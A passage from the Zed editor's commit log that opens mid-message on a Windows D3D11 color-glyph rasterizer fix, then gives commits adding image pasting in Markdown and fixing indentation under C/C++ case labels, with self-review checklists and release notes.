readback so the mapping is no longer leaked and the resource pinned. The
color-glyph rasterizer drives the shared, non-thread-safe D3D11
immediate context that `DirectXRenderer` and `DirectXAtlas` also use, so
it must stay on the main UI thread — which it always is today; a comment
documents that invariant.

Since gpui_windows is a Windows-only crate, it cannot be compiled on
non-Windows hosts, so Windows CI is the compile gate for these changes.

Release Notes:

- N/A
2026-07-13 09:54:38 +00:00
Khôi TranandSmit Barmase 715557fe51 editor: Add support for pasting images in Markdown (#58588)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #18112

Release Notes:

- Added support for pasting images from clipboard into Markdown files

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
2026-07-13 09:12:47 +00:00
Apoorva Verma aeeacf5439 Indent statements under C/C++ case labels (#60758)
# Objective

Fixes #60261

Nothing under a `case` gets indented in C or C++, and the next `case`
doesn't come back out. It stays flat until you hit `editor: format`.

## Solution

The indent queries had no rule for case labels. Added the same pair
`cpp/indents.scm` uses for `access_specifier`: open an indent range at
the label, close it at the switch's `}`, outdent on the next label.

The part that got me: `@start` uses the *end* of the node you capture.
Fine for `access_specifier`, which is just `public:`. But a
`case_statement` swallows the statements under it, so capturing the node
starts the range after the last one. Capture the `:` instead. `default:`
is a `case_statement` too, so it comes along free.

Only affects what happens after a label, so existing `case` alignment
doesn't move.

## Testing

`test_c_autoindent_switch_case` and `test_cpp_autoindent_switch_case`
cover a plain case, fall-through labels and `default`. Both fail on
main. The `access_specifier` tests still pass.

Not mine, but worth knowing: `typescript::tests::test_outline` and
`test_generator_function_outline` are flaky on main, failing about half
my full `cargo test -p languages --lib` runs with or without this
change.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed statements under a `case` label not being indented in C and C++
([#60261](https://github.com/zed-industries/zed/issues/60261)).
2026-07-12 23:02:26 +00:00